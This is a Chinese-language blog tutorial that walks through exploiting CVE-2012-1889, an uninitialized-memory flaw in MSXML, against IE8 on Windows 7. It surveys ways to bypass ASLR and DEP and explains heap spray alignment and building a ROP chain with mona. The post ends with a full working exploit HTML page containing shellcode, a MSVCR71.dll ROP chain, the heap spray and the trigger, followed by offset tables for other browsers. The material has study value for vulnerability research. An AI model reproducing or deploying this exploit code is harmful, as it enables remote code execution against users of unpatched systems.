CVE-2012-1889漏洞利用

本實驗所需工具代碼在我的GitHub上都能找到
GitHub : https://github.com/whu-enjoy/CVE-2012-1889

一 . 工具準備

這裏寫圖片描述


二 . 實驗環境搭建

實驗系統 :
——Win7 SP1 專業版 (64位)
——IE 8.0.7601.17514
1. 從工具中將java6安裝包解壓出來,安裝好java6,提供實驗所需的未開啓ASLR保護的DLL模塊
2. 安裝Windbg調試工具
3. 安裝ImmunityDebugger,將mona插件複製到ImmunityDebugger的插件目錄,我這裏是
C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands
4. 如果電腦上沒有C語言編譯器,可自行安裝一種,因爲安裝包太大了,我的工具包裏沒提供.我用的是Visual C++ 6.0 Enterprise(這個軟件與我win764位會提示不兼容,不過好像不影響使用)


三 . 漏洞檢測與漏洞利用程序可行性測試

  1. 漏洞檢測
    使用ie打開CVE-2012-1889-test-poc.html,網頁提示
    這裏寫圖片描述
    點擊允許阻止的內容,過一會便可以看到程序出錯,點擊查看詳情,可以看到是msxml3.dll這個模塊出現的問題,異常偏移0x04e2d9,出現這個說明漏洞存在
    這裏寫圖片描述

  2. 漏洞利用程序可行性檢測
    使用ie打開CVE-2012-1889.html,網頁提示
    這裏寫圖片描述
    點擊允許阻止的內容,過一會便可以看到成功彈出計算器,說明我們的shellcode被成功執行了,漏洞利用成功
    這裏寫圖片描述


四 . 漏洞詳情

  Microsoft XML Core Services (MSXML)是一組服務,可用JScript、VBScript、Microsoft開發工具編寫的應用構建基於XML的Windows-native應用。
  Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,該漏洞源於訪問未初始化內存位置。遠程攻擊者可利用該漏洞藉助特製的web站點,執行任意代碼或導致拒絕服務(內存破壞)。


五 . 漏洞觸發過程

使用Windbg附加IE瀏覽器進程,注意,一般會有兩個IE進程,一個是正打開CVE-2012-1889.html文件的進程,我們要附加的是另外一個IE進程,也就是圖中下面那個進程
這裏寫圖片描述

從前面的漏洞測試程序可以看到,異常是在msxml3.dll文件的偏移爲0x04e2d9處,因爲每次dll加載,基址都會變,所以每次下斷點的地方都要隨之改動.附加進程後,先使用bl看看斷點信息,如果有斷點,則先用bc+斷點編號將所有斷點清除,否則會顯示斷點所在的位置不存在..因爲msxml3.dll,是在點擊允許禁止的內容後加載的,所以使用sxe ld:msxml3.dll讓程序在加載msxml3.dll的時候中斷.然後g讓ie正常運行
這裏寫圖片描述

點擊允許阻止的內容,可以看到程序中斷在msxml3.dll加載時的地方.
這裏寫圖片描述
可以看到msxml3.dll此時的模塊基址是0x71ec0000,出現問題的偏移是0x04e2d9. 0x71ec0000+0x04e2d9 = 0x71f0e2d9處,使用u命令查看0x71f0e2d9附近的代碼
這裏寫圖片描述
可以看到在0x71f0e2cd處,程序將ebp-14h處的值賦值給eax,而在0x71f0e2d9處將eax的值所表示的地址的值賦值給ecx,因爲ebp-14h處的值是沒有初始化的,所以取值時會出錯,報異常..
再繼續往下看,在下面還有call dword ptr [ecx+18h] 和 call dword ptr [eax+8],也就是說,如果精心構造桟數據,那麼將有可能在程序在執行到這兩個call的時候控制程序的流程


六 . 漏洞利用實戰

一 . 對於開啓了ASLR的程序,模塊在每次加載的時候,基址都會改變,所以針對地址隨機化,一般採用以下幾種攻擊方式
1.基地址泄露漏洞,某個dll模塊的某個內存地址的泄露,進而可以泄露該DLL的基地址,進而可以得到任意DLL的基地址

2.某些沒有開啓地址隨機化的模塊
當瀏覽器加載一個帶try location.href = ‘ms-help://’ 語句的頁面時,HXDS.DLL就會被加載,而該DLL並沒有開啓地址隨機化
利用該方法的CVE-2013-3893, CVE2013-1347, CVE-2012-4969, CVE-2012-4792

3.堆噴射需要配合沒有開啓地址隨機化的模塊

4.覆蓋部分返回地址
雖然模塊加載基地址發生變化,但是各模塊的入口點地址的低字節不變,只有高位變化
對於地址0×12345678,其中5678部分是固定的,如果存在緩衝區溢出,可以通過memcpy對後兩個字節進行覆蓋,可以將其設置爲0×12340000 ~ 0x1234FFFF中的任意一個值。
如果通過strcpy進行覆蓋,因爲strcpy會複製末尾的結束符0×00,那麼可以將0×12345678覆蓋爲0×12345600,或者0×12340001 ~ 0x123400FF。
部分返回地址覆蓋,可以使得覆蓋後的地址相對於基地址的距離是固定的,可以從基地址附近找可以利用的跳轉指令。
這種方法的通用性不是很強,因爲覆蓋返回地址時棧上的Cookie會被破壞。不過具體問題具體分析,爲了繞過操作系統的安全保護機制需要考慮各種各樣的情況。

5.java Applet Spray:Java Applet中動態申請中動態申請的內存空間具有可執行屬性,可在固定地址上分配滑板指令(如Nop和ShellCode),然後挑轉到上面地址執行。和常規的HeapSpray不同,Applet申請空間的上限爲100MB,而常規的HeapSpray可以達到1GB

6.just in Time Compliation(JIT)即時編譯,也就是解釋器(如python解釋器),主要思想是將ActionScript代碼進行大量xor操作,然後編譯成字節碼,並且多次更新到Flash VM,這樣它會建立很多帶有惡意xor操作的內存塊vary=(0×11223344^0×44332211^0×4433221);
正常情況下被解釋器解釋爲:
如果非常規的跳轉到中間某一個字節開始執行代碼,結果就是另一番景象了:
關於JIT的詳細介紹,可以參考
●Pointer Inference and JIT Spraying以及
●Writing JIT-Spray shellcodefor fun and profit
●Pointer Inference and JIT Spraying
●Writing JIT-Spray shellcode for fun and profit

7.某些固定的基地址
★從Windows NT 4到Windows 8,
(1)SharedUserData的位置一直固定在地址0x7ffe0000上
(2)0x7ffe0300總是指向KiFastSystemCall
(3)反彙編NtUserLockWorkStation函數,發現其就是通過7ffe0300進入內核的
利用方法:
這樣,在觸發漏洞前合理佈局寄存器內容,用函數在系統服務(SSDT / Shadow SSDT)中服務號填充EAX寄存器,然後讓EIP跳轉到對應的地方去執行,就可以調用指定的函數了。但是也存在很大的侷限性:僅僅工作於x86 Windows上;幾乎無法調用有參數的函數

★64位Windows系統上0x7ffe0350總是指向函數ntdll!LdrHotPatchRoutine
(經過驗證可能不是這個地址,但是這個地址在開啓了ASLR後是固定的)
利用方法:
在觸發漏洞前合理佈局寄存器內容,合理填充HotPatchBuffer 結構體的內容,然後調用LdrHotPatchRoutine。
(1)如果是網頁掛馬,可以指定從遠程地址加載一個DLL文件;
(2)如果已經經過其他方法把DLL打包發送給受害者,執行本地加載DLL即可。
此方法通常需要HeapSpray協助佈局內存數據;且需要文件共享服務器存放惡意DLL;只工作於64位系統上的32位應用程序;不適用於Windows 8

二 . 對於win7,因爲啓用了DEP保護,所以還要繞過DEP,一般DEP繞過方式有下面幾種
●繞過方式:
1.某些程序沒有啓動DEP保護
2.Ret2Libc(最後可以執行ZwSetInfomationProcess,VirtualProtect,VitualAlloc)(ROP)
3.某些可以執行的內存(比如,Java Applet中動態申請中動態申請的內存空間具有可執行屬性)
4.利用某些.Net控件和Java控件來繞過
5.利用TEB突破DEP(侷限於XP SP2以下的版本)
6.利用WPN與ROP技術
ROP(Return Oriented Programming):連續調用程序代碼本身的內存地址,以逐步地創建一連串欲執行的指令序列.WPM(Write Process Memory):利用微軟在kernel32.dll中定義的函數比如:WriteProcess Memory函數可將數據寫入到指定進程的內存中。但整個內存區域必須是可訪問的,否則將操作失敗
7.利用SEH繞過DEP
啓用DEP後,就不能使用pop pop ret地址了,而應採用pop reg/pop reg/pop esp/ret 指令的地址,指令 pop esp 可以改變堆棧指針,ret將執行流轉移到nseh 中的地址上(用關閉NX 例程的地址覆蓋nseh,用指向pop/pop /pop esp/ret 指令的指針覆蓋異常處理器)

對於上面這個漏洞,我們採用Heap Spray + ROP技術來實現漏洞的利用

先看看堆的分佈
這裏寫圖片描述
可以看到,一般來說,堆是從低地址開始分配,一般保證命中率與分配效率來看,我們一般使用0x0c0c0c0c(192M)這個地址來作爲返回地址,所以當動態分配200M空間後,申請的堆就會覆蓋0x0c0c0c0c這個地址,如下圖所示
這裏寫圖片描述

所以,攻擊代碼動態申請了200M的堆空間
這裏寫圖片描述

爲了繞過DEP,我們需要前面所討論的ROP技術,另外,必須保證跳轉到堆上的時候正好位於ROP鏈的第一條指令,這就涉及到精準的堆噴射問題。採用如下的技術,我們可以保證0x0C0C0C0C處即爲ROP鏈的第一個字節。使用Windbg調試打開PoC頁面的IE進程,當完成堆的噴射之後,查看0x0C0C0C0C所在的堆塊的屬性,如下面的文字所示:
這裏寫圖片描述
可以看出,0x0C0C0C0C所在堆塊的UserPtr爲0x0C070020,可以計算:
這裏寫圖片描述
其中第一個表達式求出0x0C0C0C0C到UserPtr的距離,因爲JavaScript中字符串是Unicode形式的,所以在第二個表達式中我們進行了除以2的操作,又因爲堆塊的對齊粒度是0×1000,所以將結果對0×1000進行取餘。注意每一次查看0x0C0C0C0C所在堆塊的UserPtr會不盡相同,但是在特定的環境下計算出來的最終結果基本是一致的,如本實驗在win7 sp1的IE8下爲0x5F6(某些IE8環境下得出的結果可能是0x5F4),於是堆中每一塊0×1000大小的數據看起來如圖所示:
這裏寫圖片描述

1.尋找未開啓ASLR保護的模塊:
使用Immunity Debugger附加ie進程,查看模塊,將結果保存到一個文件,
這裏寫圖片描述
重啓系統(有的DLL基址是隨系統啓動改變的),再次用ie打開CVE-2012-1889.html,查看模塊,將結果保存到另一個文件,然後對比(我用的UE)兩個文件的信息,找出加載基址沒有改變的dll(本實驗選用MSVCR71.dll)
這裏寫圖片描述

2.現在我們還需要一個可靠的ROP Chain,使用Immunity Debugger配合Mona插件可以輕鬆搞定,而我們的rop鏈需要從一個沒有開啓地址隨機化的模塊中尋找,所以需要安裝java6(提供msvcr71.dll).只需執行如下命令:!mona rop -m msvcr71.dll
這裏寫圖片描述
可以看到生成了各種語言,好幾種ROP鏈.我們選擇VirtualProtect函數的JavaScript代碼。同時,因爲我們沒辦法控制棧上的數據分佈,但是可以控制堆上的數據分佈,於是需要一個叫做stackpivot的小東西,這裏選擇如下的指令:
00401000 94 XCHG EAX,ESP
00401001 C3 RETN
對應的字節爲\x94\xC3, 可以使用如下的mona命令查找:
!mona find -s “\x94\xC3” -m msvcr71.dll
這裏寫圖片描述
選擇第二個擁有PAGE_EXECUTE_READ屬性的指令(搜索出來的可能是數據,無可執行權限)

有了這兩條指令,我們可以把ESP指向堆上面,如果EAX也指向堆上面的話。上面的指令全部選取自msmvr71.dll模塊,至少實踐經驗表明在win7 SP1下是穩定的。

至此ROP需要的東西基本齊全了,下面回到EIP的控制上面來。在IE6下,通過彙編指令call dword ptr [ecx+18h]來轉移EIP到堆上,對於IE8,我們無法再使用這條指令來轉移EIP到堆上,因爲執行這條指令的時候EAX和[EAX]的值都是0x0C0C0C0C,如果通過stackpivot設置ESP爲0x0C0C0C0C,接着retn,EIP也將被設置爲0x0C0C0C0C,而這個時候這個地方的代碼是不能夠被執行的(因爲有DEP保護)。

我們將在棧上填充大量的0x0c0c0c08(不再是0x0c0c0c0c),這樣執行mov eax, dword ptr [ebp-14h]之後,eax被0x0c0c0c08填充;堆上面仍然用大量0C作爲填充物,於是執行mov ecx, dword ptr [eax]時,ecx被設置爲0x0c0c0c0c;注意0x0c0c0c0c + 0×18 = 0x0c0c0c24,我們將在這個位置放置一個retn指令的地址,這樣在執行call dword ptr [ecx+18h]的時候,會跳轉去執行retn,同時又會返回來執行call的下一條指令;而[esi]寄存器的值也是0x0c0c0c0c,那麼最終eax會被設置爲0x0c0c0c0c,同時call dword ptr [eax+8]會跳轉到0x0C0C0C14處執行代碼,我們將在這個位置放置stackpivot的地址,最終的ROP鏈如圖所示:
這裏寫圖片描述

最終利用代碼:

<html>
<head>
    <title>CVE 2012-1889 PoC</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
    <script>
        // [ Shellcode ]
        var shellcode = "\u96E9\u0000\u5600\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u468B\u8B08\u207E\u368B\u3966\u184F\uF275\uC35E\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u37E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0A74\uCFC1\u010D\uE9C7\uFFF1\uFFFF\u7C3B\u2824\uDE75\u5A8B\u0124\u66EB\u0C8B\u8B4B\u1C5A\uEB01\u048B\u018B\u89E8\u2444\u611C\uADC3\u5250\uA7E8\uFFFF\u89FF\u8107\u08C4\u0000\u8100\u04C7\u0000\u3900\u75CE\uC3E6\u19E8\u0000\u9800\u8AFE\u7E0E\uE2D8\u8173\u08EC\u0000\u8900\uE8E5\uFF5D\uFFFF\uC289\uE2EB\u8D5E\u047D\uF189\uC181\u0008\u0000\uB6E8\uFFFF\uEBFF\u5B0E\uC031\u5350\u55FF\u3104\u50C0\u55FF\uE808\uFFED\uFFFF\u6163\u636C\u652E\u6578\u0000";
        // [ ROP Chain ]
        // 0x0C0C0C24 -> # retn
        // 0x0C0C0C14 -> # xchg eax, esp # retn
    // Start from 0x0c0c0c0c
        var rop_chain =         "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
                        "\u7cff\u7c35" + // 0x7c357cff : ,# POP EBP # RETN [MSVCR71.dll] 
                        "\u8b05\u7c34" + // 0x7c348b05  # xchg eax, esp # retn [MSVCR71.dll]
                        "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
                        "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
                        "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
                        "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]                      
                        // The real rop chain
                        "\u7cff\u7c35" + // 0x7c357cff : ,# POP EBP # RETN [MSVCR71.dll] 
                            "\u7cff\u7c35" + // 0x7c357cff : ,# skip 4 bytes [MSVCR71.dll]
                            "\u098d\u7c36" + // 0x7c36098d : ,# POP EBX # RETN [MSVCR71.dll] 
                            "\u0201\u0000" + // 0x00000201 : ,# 0x00000201-> ebx
                            "\u58e6\u7c34" + // 0x7c3458e6 : ,# POP EDX # RETN [MSVCR71.dll] 
                              "\u0040\u0000" + // 0x00000040 : ,# 0x00000040-> edx
                              "\u4f23\u7c35" + // 0x7c354f23 : ,# POP ECX # RETN [MSVCR71.dll] 
                              "\ueb06\u7c38" + // 0x7c38eb06 : ,# &Writable location [MSVCR71.dll]
                              "\u2eae\u7c34" + // 0x7c342eae : ,# POP EDI # RETN [MSVCR71.dll] 
                              "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
                              "\uaceb\u7c34" + // 0x7c34aceb : ,# POP ESI # RETN [MSVCR71.dll] 
                              "\u15a2\u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
                              "\u5194\u7c34" + // 0x7c345194 : ,# POP EAX # RETN [MSVCR71.dll] 
                              "\ua151\u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]
                                               //這裏VirtualProtect()的地址實際是0x7c37a140,但是下面的指令ADD AL,0EF會改變這個地址,所以在填充的時候先將地址減去0EF,結果是0x7c37a151                                               
                              "\u8c81\u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll] 
                              "\u5c30\u7c34" ; // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
        // [ fill the heap with 0x0c0c0c0c ] About 0x2000 Bytes
        var fill = "\u0c0c\u0c0c";
        while (fill.length < 0x1000){
            fill += fill;
        }
        // [ padding offset ]
        padding = fill.substring(0, 0x5F6);
        // [ fill each chunk with 0x800 bytes ]
        evilcode = padding + rop_chain + shellcode + fill.substring(0, 0x800 - padding.length - rop_chain.length - shellcode.length);
        // [ repeat the block to 512KB ]
        while (evilcode.length < 0x40000){
            evilcode += evilcode;
        }
        // [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]
        var block = evilcode.substring(2, 0x40000 - 0x21);
        // [ Allocate 200 MB ]
        var slide = new Array();
        for (var i = 0; i < 400; i++){
            slide[i] = block.substring(0, block.length);
        }
        // [ Vulnerability Trigger ]
        var obj = document.getElementById('poc').object;
        var src = unescape("%u0c08%u0c0c");     // fill the stack with 0x0c0c0c08
        while (src.length < 0x1002) src += src;
        src = "\\\\xxx" + src;
        src = src.substr(0, 0x1000 - 10);
        var pic = document.createElement("img");
        pic.src = src;
        pic.nameProp;
        obj.definition(0);
    </script>
</body>
</html>

有幾個需要注意的地方是:
1. mona找到的ROP代碼中指向VirtualProtect函數地址的問題,注意對AL減去0xEF;
2. block的生成substring的參數問題,不同的系統參數不同(不知爲何我WIN7 IE8這個參數用XP SP3 IE8的才能正常運行);
3. 注意pushad壓棧順序是EAX, ECX, EDX, EBX, 原始ESP, EBP, ESI, EDI,明白pushad將有助於對上述ROP代碼的理解。

對於第2點,已知的參數形式如下:
XP SP3 – IE7 block = shellcode.substring(2,0x10000-0×21);
XP SP3 – IE8 block = shellcode.substring(2, 0x40000-0×21);
Vista SP2 – IE7 block = shellcode.substring(0, (0x40000-6)/2);
Vista SP2 – IE8 block = shellcode.substring(0, (0x40000-6)/2);
Win7 – IE8 block = shellcode.substring(0, (0x80000-6)/2);
Vista/Win7 – IE9 block = shellcode.substring(0, (0x40000-6)/2);
XP SP3/VISTA SP2/WIN7 - Firefox9 block = shellcode.substring(0, (0x40000-6)/2);
ROP在堆塊中的偏移值:
IE7 0x5FA
IE8 0x5F4/0x5F6
IE9 0x5FC/0x5FE
Firefox9 0x606
可能不同語言版本會存在偏差。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章